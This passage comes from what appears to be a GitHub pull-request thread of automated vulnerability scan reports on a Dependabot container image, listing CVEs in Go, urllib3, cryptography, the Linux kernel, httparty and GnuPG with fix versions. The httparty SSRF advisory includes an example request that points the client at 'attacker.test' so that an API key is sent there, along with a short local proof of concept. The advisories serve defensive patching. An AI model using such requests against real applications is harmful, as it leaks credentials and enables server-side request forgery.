EPSS Percentile36th percentile
Description

A malicious HTTP/2 client which rapidly creates requests and immediately resets them can cause excessive server resource consumption. While the total number of requests is bounded by the http2.Server.MaxConcurrentStreams setting, resetting an in-progress request allows the attacker to create a new request while the existing one is still executing.

With the fix applied, HTTP/2 servers now bound the number of simultaneously executing handler goroutines to the stream concurrency limit (MaxConcurrentStreams). New requests arriving when at the limit (which can only happen after the client has reset an existing, in-flight request) will be queued until a handler exits. If the request queue grows too large, the server will terminate the connection.

This issue is also fixed in golang.org/x/net/http2 for users manually configuring HTTP/2.

The default stream concurrency limit is 250 streams (requests) per HTTP/2 connection. This value may be adjusted using the golang.org/x/net/http2 package; see the Server.MaxConcurrentStreams setting and the ConfigureServer function.

high : CVE--2023--24537

Affected range<1.19.8
Fixed version1.19.8
EPSS Score0.013%
EPSS Percentile1st percentile
Description

Calling any of the Parse functions on Go source code which contains //line directives with very large line numbers can cause an infinite loop due to integer overflow.

high : CVE--2023--24536

Affected range<1.19.8
Fixed version1.19.8
EPSS Score0.066%
EPSS Percentile21st percentile
Description

Multipart form parsing can consume large amounts of CPU and memory when processing form inputs containing very large numbers of parts.

This stems from several causes:

  1. mime/multipart.Reader.ReadForm limits the total memory a parsed multipart form can consume. ReadForm can undercount the amount of memory consumed, leading it to accept larger inputs than intended.
  2. Limiting total memory does not account for increased pressure on the garbage collector from large numbers of small allocations in forms with many parts.
  3. ReadForm can allocate a large number of short-lived buffers, further increasing pressure on the garbage collector.

The combination of these factors can permit an attacker to cause an program that parses multipart forms to consume large amounts of CPU and memory, potentially resulting in a denial of service. This affects programs that use mime/multipart.Reader.ReadForm, as well as form parsing in the net/http package with the Request methods FormFile, FormValue, ParseMultipartForm, and PostFormValue.

With fix, ReadForm now does a better job of estimating the memory consumption of parsed forms, and performs many fewer short-lived allocations.

In addition, the fixed mime/multipart.Reader imposes the following limits on the size of parsed forms:

  1. Forms parsed with ReadForm may contain no more than 1000 parts. This limit may be adjusted with the environment variable GODEBUG=multipartmaxparts=.
  2. Form parts parsed with NextPart and NextRawPart may contain no more than 10,000 header fields. In addition, forms parsed with ReadForm may contain no more than 10,000 header fields across all parts. This limit may be adjusted with the environment variable GODEBUG=multipartmaxheaders=.

high : CVE--2023--24534

Affected range<1.19.8
Fixed version1.19.8
EPSS Score0.045%
EPSS Percentile14th percentile
Description

HTTP and MIME header parsing can allocate large amounts of memory, even when parsing small inputs, potentially leading to a denial of service.

Certain unusual patterns of input data can cause the common function used to parse HTTP and MIME headers to allocate substantially more memory than required to hold the parsed headers. An attacker can exploit this behavior to cause an HTTP server to allocate large amounts of memory from a small request, potentially leading to memory exhaustion and a denial of service.

With fix, header parsing now correctly allocates only the memory required to hold parsed headers.

high : CVE--2022--41725

Affected range<1.19.6
Fixed version1.19.6
EPSS Score0.055%
EPSS Percentile17th percentile
Description

A denial of service is possible from excessive resource consumption in net/http and mime/multipart.

Multipart form parsing with mime/multipart.Reader.ReadForm can consume largely unlimited amounts of memory and disk files. This also affects form parsing in the net/http package with the Request methods FormFile, FormValue, ParseMultipartForm, and PostFormValue.

ReadForm takes a maxMemory parameter, and is documented as storing "up to maxMemory bytes +10MB (reserved for non-file parts) in memory". File parts which cannot be stored in memory are stored on disk in temporary files. The unconfigurable 10MB reserved for non-file parts is excessively large and can potentially open a denial of service vector on its own. However, ReadForm did not properly account for all memory consumed by a parsed form, such as map entry overhead, part names, and MIME headers, permitting a maliciously crafted form to consume well over 10MB. In addition, ReadForm contained no limit on the number of disk files created, permitting a relatively small request body to create a large number of disk temporary files.

With fix, ReadForm now properly accounts for various forms of memory overhead, and should now stay within its documented limit of 10MB + maxMemory bytes of memory consumption. Users should still be aware that this limit is high and may still be hazardous.

In addition, ReadForm now creates at most one on-disk temporary file, combining multiple form parts into a single temporary file. The mime/multipart.File interface type's documentation states, "If stored on disk, the File's underlying concrete type will be an *os.File.". This is no longer the case when a form contains more than one file part, due to this coalescing of parts into a single file. The previous behavior of using distinct files for each form part may be reenabled with the environment variable GODEBUG=multipartfiles=distinct.

Users should be aware that multipart.ReadForm and the http.Request methods that call it do not limit the amount of disk consumed by temporary files. Callers can limit the size of form data with http.MaxBytesReader.

high : CVE--2022--41724

Affected range<1.19.6
Fixed version1.19.6
EPSS Score0.017%
EPSS Percentile3rd percentile
Description

Large handshake records may cause panics in crypto/tls.

Both clients and servers may send large TLS handshake records which cause servers and clients, respectively, to panic when attempting to construct responses.

This affects all TLS 1.3 clients, TLS 1.2 clients which explicitly enable session resumption (by setting Config.ClientSessionCache to a non-nil value), and TLS 1.3 servers which request client certificates (by setting Config.ClientAuth >= RequestClientCert).

high : CVE--2022--41723

Affected range<1.19.6
Fixed version1.19.6
EPSS Score0.229%
EPSS Percentile46th percentile
Description

A maliciously crafted HTTP/2 stream could cause excessive CPU consumption in the HPACK decoder, sufficient to cause a denial of service from a small number of small requests.

high : CVE--2022--41722

Affected range<1.19.6
Fixed version1.19.6
EPSS Score0.175%
EPSS Percentile39th percentile
Description

A path traversal vulnerability exists in filepath.Clean on Windows.

On Windows, the filepath.Clean function could transform an invalid path such as "a/../c:/b" into the valid path "c:\b". This transformation of a relative (if invalid) path into an absolute path could enable a directory traversal attack.

After fix, the filepath.Clean function transforms this path into the relative (but still invalid) path ".\c:\b".

high : CVE--2022--41720

Affected range<1.18.9
Fixed version1.18.9
EPSS Score0.069%
EPSS Percentile21st percentile
Description

On Windows, restricted files can be accessed via os.DirFS and http.Dir.

The os.DirFS function and http.Dir type provide access to a tree of files rooted at a given directory. These functions permit access to Windows device files under that root. For example, os.DirFS("C:/tmp").Open("COM1") opens the COM1 device. Both os.DirFS and http.Dir only provide read-only filesystem access.

In addition, on Windows, an os.DirFS for the directory (the root of the current drive) can permit a maliciously crafted path to escape from the drive and access any path on the system.

With fix applied, the behavior of os.DirFS("") has changed. Previously, an empty root was treated equivalently to "/", so os.DirFS("").Open("tmp") would open the path "/tmp". This now returns an error.

high : CVE--2022--41716

Affected range<1.18.8
Fixed version1.18.8
EPSS Score0.022%
EPSS Percentile5th percentile
Description

Due to unsanitized NUL values, attackers may be able to maliciously set environment variables on Windows.

In syscall.StartProcess and os/exec.Cmd, invalid environment variable values containing NUL values are not properly checked for. A malicious environment variable value can exploit this behavior to set a value for a different environment variable. For example, the environment variable string "A=B\x00C=D" sets the variables "A=B" and "C=D".

high : CVE--2022--41715

Affected range<1.18.7
Fixed version1.18.7
EPSS Score0.016%
EPSS Percentile3rd percentile
Description

Programs which compile regular expressions from untrusted sources may be vulnerable to memory exhaustion or denial of service.

The parsed regexp representation is linear in the size of the input, but in some cases the constant factor can be as high as 40,000, making relatively small regexps consume much larger amounts of memory.

After fix, each regexp being parsed is limited to a 256 MB memory footprint. Regular expressions whose representation would use more space than that are rejected. Normal use of regular expressions is unaffected.

high : CVE--2022--32189

Affected range>=1.18.0-0
<1.18.5
Fixed version1.18.5
EPSS Score0.100%
EPSS Percentile28th percentile
Description

Decoding big.Float and big.Rat types can panic if the encoded message is too short, potentially allowing a denial of service.

high : CVE--2022--30635

Affected range>=1.18.0-0
<1.18.4
Fixed version1.18.4
EPSS Score0.087%
EPSS Percentile25th percentile
Description

Calling Decoder.Decode on a message which contains deeply nested structures can cause a panic due to stack exhaustion.

high : CVE--2022--30633

Affected range>=1.18.0-0
<1.18.4
Fixed version1.18.4
EPSS Score0.084%
EPSS Percentile25th percentile
Description

Unmarshaling an XML document into a Go struct which has a nested field that uses the 'any' field tag can panic due to stack exhaustion.

high : CVE--2022--30632

Affected range>=1.18.0-0
<1.18.4
Fixed version1.18.4
EPSS Score0.084%
EPSS Percentile25th percentile
Description

Calling Glob on a path which contains a large number of path separators can cause a panic due to stack exhaustion.

high : CVE--2022--30631

Affected range>=1.18.0-0
<1.18.4
Fixed version1.18.4
EPSS Score0.041%
EPSS Percentile12th percentile
Description

Calling Reader.Read on an archive containing a large number of concatenated 0-length compressed files can cause a panic due to stack exhaustion.

high : CVE--2022--30630

Affected range>=1.18.0-0
<1.18.4
Fixed version1.18.4
EPSS Score0.034%
EPSS Percentile10th percentile
Description

Calling Glob on a path which contains a large number of path separators can cause a panic due to stack exhaustion.

high : CVE--2022--2880

Affected range<1.18.7
Fixed version1.18.7
EPSS Score0.031%
EPSS Percentile9th percentile
Description

Requests forwarded by ReverseProxy include the raw query parameters from the inbound request, including unparsable parameters rejected by net/http. This could permit query parameter smuggling when a Go proxy forwards a parameter with an unparsable value.

After fix, ReverseProxy sanitizes the query parameters in the forwarded query when the outbound request's Form field is set after the ReverseProxy. Director function returns, indicating that the proxy has parsed the query parameters. Proxies which do not parse query parameters continue to forward the original query parameters unchanged.

high : CVE--2022--2879

Affected range<1.18.7
Fixed version1.18.7
EPSS Score0.016%
EPSS Percentile3rd percentile
Description

Reader.Read does not set a limit on the maximum size of file headers. A maliciously crafted archive could cause Read to allocate unbounded amounts of memory, potentially causing resource exhaustion or panics. After fix, Reader.Read limits the maximum size of header blocks to 1 MiB.

high : CVE--2022--28131

Affected range>=1.18.0-0
<1.18.4
Fixed version1.18.4
EPSS Score0.013%
EPSS Percentile2nd percentile
Description

Calling Decoder.Skip when parsing a deeply nested XML document can cause a panic due to stack exhaustion.

high : CVE--2022--27664

Affected range<1.18.6
Fixed version1.18.6
EPSS Score0.093%
EPSS Percentile27th percentile
Description

HTTP/2 server connections can hang forever waiting for a clean shutdown that was preempted by a fatal error. This condition can be exploited by a malicious client to cause a denial of service.

high : CVE--2023--29400

Affected range<1.19.9
Fixed version1.19.9
EPSS Score0.048%
EPSS Percentile15th percentile
Description

Templates containing actions in unquoted HTML attributes (e.g. "attr={{.}}") executed with empty input can result in output with unexpected results when parsed due to HTML normalization rules. This may allow injection of arbitrary attributes into tags.

high : CVE--2023--24539

Affected range<1.19.9
Fixed version1.19.9
EPSS Score0.065%
EPSS Percentile21st percentile
Description

Angle brackets (<>) are not considered dangerous characters when inserted into CSS contexts. Templates containing multiple actions separated by a '/' character can result in unexpectedly closing the CSS context and allowing for injection of unexpected HTML, if executed with untrusted input.

critical: 0 high: 5 medium: 0 low: 0 stdlib 1.24.4 (golang)

pkg:golang/stdlib@1.24.4

high : CVE--2025--61729

Affected range<1.24.11
Fixed version1.24.11
EPSS Score0.015%
EPSS Percentile2nd percentile
Description

Within HostnameError.Error(), when constructing an error string, there is no limit to the number of hosts that will be printed out. Furthermore, the error string is constructed by repeated string concatenation, leading to quadratic runtime. Therefore, a certificate provided by a malicious actor can result in excessive resource consumption.

high : CVE--2025--61725

Affected range<1.24.8
Fixed version1.24.8
EPSS Score0.031%
EPSS Percentile8th percentile
Description

The ParseAddress function constructs domain-literal address components through repeated string concatenation. When parsing large domain-literal components, this can cause excessive CPU consumption.

high : CVE--2025--61723

Affected range<1.24.8
Fixed version1.24.8
EPSS Score0.031%
EPSS Percentile8th percentile
Description

The processing time for parsing some invalid inputs scales non-linearly with respect to the size of the input.

This affects programs which parse untrusted PEM inputs.

high : CVE--2025--58188

Affected range<1.24.8
Fixed version1.24.8
EPSS Score0.016%
EPSS Percentile3rd percentile
Description

Validating certificate chains which contain DSA public keys can cause programs to panic, due to a interface cast that assumes they implement the Equal method.

This affects programs which validate arbitrary certificate chains.

high : CVE--2025--58187

Affected range<1.24.9
Fixed version1.24.9
EPSS Score0.016%
EPSS Percentile3rd percentile
Description

Due to the design of the name constraint checking algorithm, the processing time of some inputs scale non-linearly with respect to the size of the certificate.

This affects programs which validate arbitrary certificate chains.

critical: 0 high: 3 medium: 0 low: 0 urllib3 2.0.7 (pypi)

pkg:pypi/urllib3@2.0.7

high 8.9: CVE--2026--21441 Improper Handling of Highly Compressed Data (Data Amplification)

Affected range>=1.22
<2.6.3
Fixed version2.6.3
CVSS Score8.9
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:H
EPSS Score0.018%
EPSS Percentile4th percentile
Description

Impact

urllib3's streaming API is designed for the efficient handling of large HTTP responses by reading the content in chunks, rather than loading the entire response body into memory at once.

urllib3 can perform decoding or decompression based on the HTTP Content-Encoding header (e.g., gzip, deflate, br, or zstd). When using the streaming API, the library decompresses only the necessary bytes, enabling partial content consumption.

However, for HTTP redirect responses, the library would read the entire response body to drain the connection and decompress the content unnecessarily. This decompression occurred even before any read methods were called, and configured read limits did not restrict the amount of decompressed data. As a result, there was no safeguard against decompression bombs. A malicious server could exploit this to trigger excessive resource consumption on the client (high CPU usage and large memory allocations for decompressed data; CWE-409).

Affected usages

Applications and libraries using urllib3 version 2.6.2 and earlier to stream content from untrusted sources by setting preload_content=False when they do not disable redirects.

Remediation

Upgrade to at least urllib3 v2.6.3 in which the library does not decode content of redirect responses when preload_content=False.

If upgrading is not immediately possible, disable redirects by setting redirect=False for requests to untrusted source.

high 8.9: CVE--2025--66471 Improper Handling of Highly Compressed Data (Data Amplification)

Affected range>=1.0
<2.6.0
Fixed version2.6.0
CVSS Score8.9
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:H
EPSS Score0.019%
EPSS Percentile4th percentile
Description

Impact

urllib3's streaming API is designed for the efficient handling of large HTTP responses by reading the content in chunks, rather than loading the entire response body into memory at once.

When streaming a compressed response, urllib3 can perform decoding or decompression based on the HTTP Content-Encoding header (e.g., gzip, deflate, br, or zstd). The library must read compressed data from the network and decompress it until the requested chunk size is met. Any resulting decompressed data that exceeds the requested amount is held in an internal buffer for the next read operation.

The decompression logic could cause urllib3 to fully decode a small amount of highly compressed data in a single operation. This can result in excessive resource consumption (high CPU usage and massive memory allocation for the decompressed data; CWE-409) on the client side, even if the application only requested a small chunk of data.

Affected usages

Applications and libraries using urllib3 version 2.5.0 and earlier to stream large compressed responses or content from untrusted sources.

stream(), read(amt=256), read1(amt=256), read_chunked(amt=256), readinto(b) are examples of urllib3.HTTPResponse method calls using the affected logic unless decoding is disabled explicitly.

Remediation

Upgrade to at least urllib3 v2.6.0 in which the library avoids decompressing data that exceeds the requested amount.

If your environment contains a package facilitating the Brotli encoding, upgrade to at least Brotli 1.2.0 or brotlicffi 1.2.0.0 too. These versions are enforced by the urllib3[brotli] extra in the patched versions of urllib3.

Credits

The issue was reported by @Cycloctane.
Supplemental information was provided by @stamparm during a security audit performed by 7ASecurity and facilitated by OSTIF.

high 8.9: CVE--2025--66418 Allocation of Resources Without Limits or Throttling

Affected range>=1.24
<2.6.0
Fixed version2.6.0
CVSS Score8.9
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:H
EPSS Score0.019%
EPSS Percentile4th percentile
Description

Impact

urllib3 supports chained HTTP encoding algorithms for response content according to RFC 9110 (e.g., Content-Encoding: gzip, zstd).

However, the number of links in the decompression chain was unbounded allowing a malicious server to insert a virtually unlimited number of compression steps leading to high CPU usage and massive memory allocation for the decompressed data.

Affected usages

Applications and libraries using urllib3 version 2.5.0 and earlier for HTTP requests to untrusted sources unless they disable content decoding explicitly.

Remediation

Upgrade to at least urllib3 v2.6.0 in which the library limits the number of links to 5.

If upgrading is not immediately possible, use preload_content=False and ensure that resp.headers["content-encoding"] contains a safe number of encodings before reading the response content.

critical: 0 high: 2 medium: 0 low: 0 cryptography 41.0.7 (pypi)

pkg:pypi/cryptography@41.0.7

high 8.7: CVE--2023--50782 Observable Discrepancy

Affected range<42.0.0
Fixed version42.0.0
CVSS Score8.7
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N
EPSS Score0.707%
EPSS Percentile72nd percentile
Description

A flaw was found in the python-cryptography package. This issue may allow a remote attacker to decrypt captured messages in TLS servers that use RSA key exchanges, which may lead to exposure of confidential or sensitive data.

high 7.5: CVE--2024--26130 NULL Pointer Dereference

Affected range>=38.0.0
<42.0.4
Fixed version42.0.4
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.341%
EPSS Percentile56th percentile
Description

If pkcs12.serialize_key_and_certificates is called with both:

  1. A certificate whose public key did not match the provided private key
  2. An encryption_algorithm with hmac_hash set (via PrivateFormat.PKCS12.encryption_builder().hmac_hash(...)

Then a NULL pointer dereference would occur, crashing the Python process.

This has been resolved, and now a ValueError is properly raised.

Patched in pyca/cryptography#10423

critical: 0 high: 1 medium: 0 low: 0 linux 6.8.0-87.88 (deb)

pkg:deb/ubuntu/linux@6.8.0-87.88?os_distro=noble&os_name=ubuntu&os_version=24.04

high 7.8: CVE--2025--38666

Affected range<6.8.0-90.91
Fixed version6.8.0-90.91
CVSS Score7.8
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
EPSS Score0.022%
EPSS Percentile5th percentile
Description

In the Linux kernel, the following vulnerability has been resolved: net: appletalk: Fix use-after-free in AARP proxy probe The AARP proxy‐probe routine (aarp_proxy_probe_network) sends a probe, releases the aarp_lock, sleeps, then re-acquires the lock. During that window an expire timer thread (__aarp_expire_timer) can remove and kfree() the same entry, leading to a use-after-free. race condition: cpu 0 | cpu 1 atalk_sendmsg() | atif_proxy_probe_device() aarp_send_ddp() | aarp_proxy_probe_network() mod_timer() | lock(aarp_lock) // LOCK!! timeout around 200ms | alloc(aarp_entry) and then call | proxies[hash] = aarp_entry aarp_expire_timeout() | aarp_send_probe() | unlock(aarp_lock) // UNLOCK!! lock(aarp_lock) // LOCK!! | msleep(100); __aarp_expire_timer(&proxies[ct]) | free(aarp_entry) | unlock(aarp_lock) // UNLOCK!! | | lock(aarp_lock) // LOCK!! | UAF aarp_entry !! ================================================================== BUG: KASAN: slab-use-after-free in aarp_proxy_probe_network+0x560/0x630 net/appletalk/aarp.c:493 Read of size 4 at addr ffff8880123aa360 by task repro/13278 CPU: 3 UID: 0 PID: 13278 Comm: repro Not tainted 6.15.2 #3 PREEMPT(full) Call Trace: __dump_stack lib/dump_stack.c:94 [inline] dump_stack_lvl+0x116/0x1b0 lib/dump_stack.c:120 print_address_description mm/kasan/report.c:408 [inline] print_report+0xc1/0x630 mm/kasan/report.c:521 kasan_report+0xca/0x100 mm/kasan/report.c:634 aarp_proxy_probe_network+0x560/0x630 net/appletalk/aarp.c:493 atif_proxy_probe_device net/appletalk/ddp.c:332 [inline] atif_ioctl+0xb58/0x16c0 net/appletalk/ddp.c:857 atalk_ioctl+0x198/0x2f0 net/appletalk/ddp.c:1818 sock_do_ioctl+0xdc/0x260 net/socket.c:1190 sock_ioctl+0x239/0x6a0 net/socket.c:1311 vfs_ioctl fs/ioctl.c:51 [inline] __do_sys_ioctl fs/ioctl.c:906 [inline] __se_sys_ioctl fs/ioctl.c:892 [inline] __x64_sys_ioctl+0x194/0x200 fs/ioctl.c:892 do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline] do_syscall_64+0xcb/0x250 arch/x86/entry/syscall_64.c:94 entry_SYSCALL_64_after_hwframe+0x77/0x7f Allocated: aarp_alloc net/appletalk/aarp.c:382 [inline] aarp_proxy_probe_network+0xd8/0x630 net/appletalk/aarp.c:468 atif_proxy_probe_device net/appletalk/ddp.c:332 [inline] atif_ioctl+0xb58/0x16c0 net/appletalk/ddp.c:857 atalk_ioctl+0x198/0x2f0 net/appletalk/ddp.c:1818 Freed: kfree+0x148/0x4d0 mm/slub.c:4841 __aarp_expire net/appletalk/aarp.c:90 [inline] __aarp_expire_timer net/appletalk/aarp.c:261 [inline] aarp_expire_timeout+0x480/0x6e0 net/appletalk/aarp.c:317 The buggy address belongs to the object at ffff8880123aa300 which belongs to the cache kmalloc-192 of size 192 The buggy address is located 96 bytes inside of freed 192-byte region [ffff8880123aa300, ffff8880123aa3c0) Memory state around the buggy address: ffff8880123aa200: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ffff8880123aa280: 00 00 00 00 fc fc fc fc fc fc fc fc fc fc fc fc >ffff8880123aa300: fa fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb ^ ffff8880123aa380: fb fb fb fb fb fb fb fb fc fc fc fc fc fc fc fc ffff8880123aa400: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ==================================================================

critical: 0 high: 1 medium: 0 low: 0 httparty 0.22.0 (gem)

pkg:gem/httparty@0.22.0

high 7.8: CVE--2025--68696 Server-Side Request Forgery (SSRF)

Affected range<=0.23.2
Fixed version0.24.0
CVSS Score7.8
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N/E:P
EPSS Score0.039%
EPSS Percentile12th percentile
Description

Summary

There may be an SSRF vulnerability in httparty. This issue can pose a risk of leaking API keys, and it can also allow third parties to issue requests to internal servers.

Details

When httparty receives a path argument that is an absolute URL, it ignores the base_uri field. As a result, if a malicious user can control the path value, the application may unintentionally communicate with a host that the programmer did not anticipate.

Consider the following example of a web application:

require 'sinatra'
require 'httparty'

class RepositoryClient
  include HTTParty
  base_uri 'http://exmaple.test/api/v1/repositories/'
  headers 'X-API-KEY' => '1234567890'
end

post '/issue' do
  request_body = JSON.parse(request.body.read)
  RepositoryClient.get(request_body['repository_id']).body
  # do something
  json message: 'OK'
end

Now, suppose an attacker sends a request like this:

POST /issue HTTP/1.1
Host: localhost:10000
Content-Type: application/json

{
    "repository_id": "http://attacker.test",
    "title": "test"
}

In this case, httparty sends the X-API-KEY not to http://example.test but instead to http://attacker.test.

A similar problem was reported and fixed in the HTTP client library axios in the past:
axios/axios#6463

Also, Python's urljoin function has documented a warning about similar behavior:
https://docs.python.org/3.13/library/urllib.parse.html#urllib.parse.urljoin

PoC

Follow these steps to reproduce the issue:

  1. Set up two simple HTTP servers.

    mkdir /tmp/server1 /tmp/server2
echo "this is server1" > /tmp/server1/index.html 
echo "this is server2" > /tmp/server2/index.html
python -m http.server -d /tmp/server1 10001 &
python -m http.server -d /tmp/server2 10002 &

  2. Create a script (for example, main.rb):

    require 'httparty'

class Client
  include HTTParty
  base_uri 'http://localhost:10001'
end

data = Client.get('http://localhost:10002').body
puts data

  3. Run the script:

    $ ruby main.rb
this is server2

Although base_uri is set to http://localhost:10001/, httparty sends the request to http://localhost:10002/.

Impact

  • Leakage of credentials: If an absolute URL is provided, any API keys or credentials configured in httparty may be exposed to unintended third-party hosts.
  • SSRF (Server-Side Request Forgery): Attackers can force the httparty-based program to send requests to other internal hosts within the network where the program is running.
  • Affected users: Any software that uses base_uri and does not properly validate the path parameter may be affected by this issue.
critical: 0 high: 1 medium: 0 low: 0 gnupg2 2.4.4-2ubuntu17.3 (deb)

pkg:deb/ubuntu/gnupg2@2.4.4-2ubuntu17.3?os_distro=noble&os_name=ubuntu&os_version=24.04

high 7.0: CVE--2025--68973

Affected range<2.4.4-2ubuntu17.4
Fixed version2.4.4-2ubuntu17.4
CVSS Score7
CVSS VectorCVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H
EPSS Score0.012%
EPSS Percentile1st percentile
Description

In GnuPG before 2.4.9, armor_filter in g10/armor.c has two increments of an index variable where one is intended, leading to an out-of-bounds write for crafted input. (For ExtendedLTS, 2.2.51 and later are fixed versions.)

critical: 0 high: 1 medium: 0 low: 0 golang.org/x/crypto 0.36.0 (golang)

pkg:golang/golang.org/x/crypto@0.36.0

high : CVE--2025--47913

Affected range<0.43.0
Fixed version0.43.0
EPSS Score0.032%
EPSS Percentile9th percentile
Description

SSH clients receiving SSH_AGENT_SUCCESS when expecting a typed response will panic and cause early termination of the client process.

@github-actions
Copy link

github-actions bot commented Jan 16, 2026 •
edited
Loading

Outdated

Recommended fixes for image ghcr.io/dependabot/dependabot-updater-core:latest

Base image is ubuntu:24.04

Name24.04
Digestsha256:4fdf0125919d24aec972544669dcd7d6a26a8ad7e6561c73d5549bd6db258ac2
Vulnerabilitiescritical: 0 high: 1 medium: 4 low: 4
Pushed3 months ago
Size30 MB
Packages131
OS24.04
The base image is also available under the supported tag(s): latest, noble

Refresh base image

Rebuild the image using a newer base image version. Updating this may result in breaking changes.

✅ This image version is up to date.

Change base image

TagDetailsPushedVulnerabilities
26.04
Major OS version update
Also known as:
    		 Benefits:
    • Image contains 9 fewer packages
    • Tag was pushed more recently
    • Image has similar size
    • Image introduces no new vulnerability but removes 9
    • Major OS version update
    Image details:
    • Size: 34 MB
    • OS: 26.04
    		 1 month ago



    25.10
    Major OS version update
    Also known as:
    • rolling
    • questing
    • questing-20251217
    		 Benefits:
    • Image contains 7 fewer packages
    • Tag was pushed more recently
    • Image has similar size
    • Image introduces no new vulnerability but removes 9
    • Major OS version update
    Image details:
    • Size: 34 MB
    • OS: 25.10
    		 4 weeks ago



    25.04
    Major OS version update
    Also known as:
    • plucky
    • plucky-20251001
    		 Benefits:
    • Image is smaller by 10 KB
    • Image contains 9 fewer packages
    • Image introduces no new vulnerability but removes 1
    • Major OS version update
    Image details:
    • Size: 30 MB
    • OS: 25.04
    		 3 months ago



    @github-actions
    Copy link

    github-actions bot commented Jan 16, 2026 •
    edited
    Loading

    Outdated

    🔍 Vulnerabilities of ghcr.io/dependabot/dependabot-updater-core:latest

    📦 Image Reference ghcr.io/dependabot/dependabot-updater-core:latest
    digestsha256:63ba4a2ff3467a98ac6c8610fece2cdc9893e2af6c18111e57618f8949749b82
    vulnerabilitiescritical: 4 high: 51 medium: 0 low: 0
    platformlinux/amd64
    size338 MB
    packages592
    📦 Base Image ubuntu:24.04
    also known as
    • latest
    • noble
    • noble-20251013
    digestsha256:4fdf0125919d24aec972544669dcd7d6a26a8ad7e6561c73d5549bd6db258ac2
    vulnerabilitiescritical: 0 high: 1 medium: 4 low: 4
    critical: 4 high: 37 medium: 0 low: 0 stdlib 1.18.3 (golang)

    pkg:golang/stdlib@1.18.3

    critical : CVE--2024--24790

    Affected range<1.21.11
    Fixed version1.21.11
    EPSS Score0.085%
    EPSS Percentile25th percentile
    Description

    The various Is methods (IsPrivate, IsLoopback, etc) did not work as expected for IPv4-mapped IPv6 addresses, returning false for addresses which would return true in their traditional IPv4 forms.

    critical : CVE--2023--24540

    Affected range<1.19.9
    Fixed version1.19.9
    EPSS Score0.243%
    EPSS Percentile47th percentile
    Description

    Not all valid JavaScript whitespace characters are considered to be whitespace. Templates containing whitespace characters outside of the character set "\t\n\f\r\u0020\u2028\u2029" in JavaScript contexts that also contain actions may not be properly sanitized during execution.

    critical : CVE--2023--24538

    Affected range<1.19.8
    Fixed version1.19.8
    EPSS Score0.646%
    EPSS Percentile70th percentile
    Description

    Templates do not properly consider backticks (`) as Javascript string delimiters, and do not escape them as expected.

    Backticks are used, since ES6, for JS template literals. If a template contains a Go template action within a Javascript template literal, the contents of the action can be used to terminate the literal, injecting arbitrary Javascript code into the Go template.

    As ES6 template literals are rather complex, and themselves can do string interpolation, the decision was made to simply disallow Go template actions from being used inside of them (e.g. "var a = {{.}}"), since there is no obviously safe way to allow this behavior. This takes the same approach as github.com/google/safehtml.

    With fix, Template.Parse returns an Error when it encounters templates like this, with an ErrorCode of value 12. This ErrorCode is currently unexported, but will be exported in the release of Go 1.21.

    Users who rely on the previous behavior can re-enable it using the GODEBUG flag jstmpllitinterp=1, with the caveat that backticks will now be escaped. This should be used with caution.

    critical : CVE--2025--22871

    Affected range<1.23.8
    Fixed version1.23.8
    EPSS Score0.043%
    EPSS Percentile13th percentile
    Description

    The net/http package improperly accepts a bare LF as a line terminator in chunked data chunk-size lines. This can permit request smuggling if a net/http server is used in conjunction with a server that incorrectly accepts a bare LF as part of a chunk-ext.

    high : CVE--2023--29403

    Affected range<1.19.10
    Fixed version1.19.10
    EPSS Score0.009%
    EPSS Percentile1st percentile
    Description

    On Unix platforms, the Go runtime does not behave differently when a binary is run with the setuid/setgid bits. This can be dangerous in certain cases, such as when dumping memory state, or assuming the status of standard i/o file descriptors.

    If a setuid/setgid binary is executed with standard I/O file descriptors closed, opening any files can result in unexpected content being read or written with elevated privileges. Similarly, if a setuid/setgid program is terminated, either via panic or signal, it may leak the contents of its registers.

    high : CVE--2025--61729

    Affected range<1.24.11
    Fixed version1.24.11
    EPSS Score0.015%
    EPSS Percentile2nd percentile
    Description

    Within HostnameError.Error(), when constructing an error string, there is no limit to the number of hosts that will be printed out. Furthermore, the error string is constructed by repeated string concatenation, leading to quadratic runtime. Therefore, a certificate provided by a malicious actor can result in excessive resource consumption.

    high : CVE--2025--61725

    Affected range<1.24.8
    Fixed version1.24.8
    EPSS Score0.031%
    EPSS Percentile8th percentile
    Description

    The ParseAddress function constructs domain-literal address components through repeated string concatenation. When parsing large domain-literal components, this can cause excessive CPU consumption.

    high : CVE--2025--61723

    Affected range<1.24.8
    Fixed version1.24.8
    EPSS Score0.031%
    EPSS Percentile8th percentile
    Description

    The processing time for parsing some invalid inputs scales non-linearly with respect to the size of the input.

    This affects programs which parse untrusted PEM inputs.

    high : CVE--2025--58188

    Affected range<1.24.8
    Fixed version1.24.8
    EPSS Score0.016%
    EPSS Percentile3rd percentile
    Description

    Validating certificate chains which contain DSA public keys can cause programs to panic, due to a interface cast that assumes they implement the Equal method.

    This affects programs which validate arbitrary certificate chains.

    high : CVE--2025--58187

    Affected range<1.24.9
    Fixed version1.24.9
    EPSS Score0.016%
    EPSS Percentile3rd percentile
    Description

    Due to the design of the name constraint checking algorithm, the processing time of some inputs scale non-linearly with respect to the size of the certificate.

    This affects programs which validate arbitrary certificate chains.

    high : CVE--2024--34158

    Affected range<1.22.7
    Fixed version1.22.7
    EPSS Score0.147%
    EPSS Percentile36th percentile
    Description

    Calling Parse on a "// +build" build tag line with deeply nested expressions can cause a panic due to stack exhaustion.

    high : CVE--2024--34156
